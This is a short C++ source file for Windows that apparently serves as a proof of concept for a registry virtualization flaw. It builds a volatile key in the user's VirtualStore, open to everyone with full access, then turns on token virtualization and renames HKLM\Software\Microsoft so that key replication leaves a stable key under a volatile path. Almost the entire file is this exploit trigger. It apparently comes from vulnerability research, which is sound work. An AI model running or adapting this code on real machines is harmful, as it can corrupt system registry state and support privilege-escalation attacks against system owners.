#include <Windows.h>
#include <sddl.h>

#include <cstdio>

#pragma comment(lib, "advapi32")

BOOL EnableTokenVirtualization(HANDLE hToken, BOOL bEnabled) {
  DWORD dwVirtualizationEnabled = bEnabled;
  if (!SetTokenInformation(hToken,
                           TokenVirtualizationEnabled,
                           &dwVirtualizationEnabled,
                           sizeof(dwVirtualizationEnabled))) {
    printf("SetTokenInformation failed with error %u\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

int main(int argc, char** argv) {
  //
  // Create the volatile key structure under the virtual store.
  //

  SECURITY_ATTRIBUTES sa;
  sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  sa.bInheritHandle = FALSE;

  CONST WCHAR* szSD = L"D:(A;;KA;;;WD)"; // Allow KEY_ALL_ACCESS for Everyone.

  if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(szSD,
                                                            SDDL_REVISION_1,
                                                            &sa.lpSecurityDescriptor,
                                                            NULL)) {
    printf("ConvertStringSecurityDescriptorToSecurityDescriptorW failed with error %u\n", GetLastError());
    return 1;
  }

  HKEY hvirtstore;
  LONG st = RegCreateKeyExW(HKEY_CURRENT_USER,
                            L"Software\\Classes\\VirtualStore\\Machine\\Software",
                            0,
                            NULL,
                            REG_OPTION_VOLATILE,
                            KEY_ALL_ACCESS,
                            &sa,
                            &hvirtstore,
                            NULL);

  if (st != ERROR_SUCCESS) {
    printf("RegCreateKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Open HKLM\Software\Microsoft with read access.
  //

  HKEY hrealkey;
  st = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Software\\Microsoft", 0, KEY_READ, &hrealkey);

  if (st != ERROR_SUCCESS) {
    printf("RegOpenKeyExW failed with error %d\n", st);
    return 1;
  }

  //
  // Enable virtualization for our process.
  //

  HANDLE hToken;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
    printf("OpenProcessToken failed with error %u\n", GetLastError());
    return 1;
  }

  EnableTokenVirtualization(hToken, TRUE);

  //
  // Attempt to rename the key in HKLM, which will trigger key replication and
  // create a stable key under our volatile path.
  //

  st = RegRenameKey(hrealkey, NULL, L"Test");

  if (st != ERROR_SUCCESS) {
    printf("RegRenameKey failed with error %d\n", st);
    return 1;
  }

  return 0;
}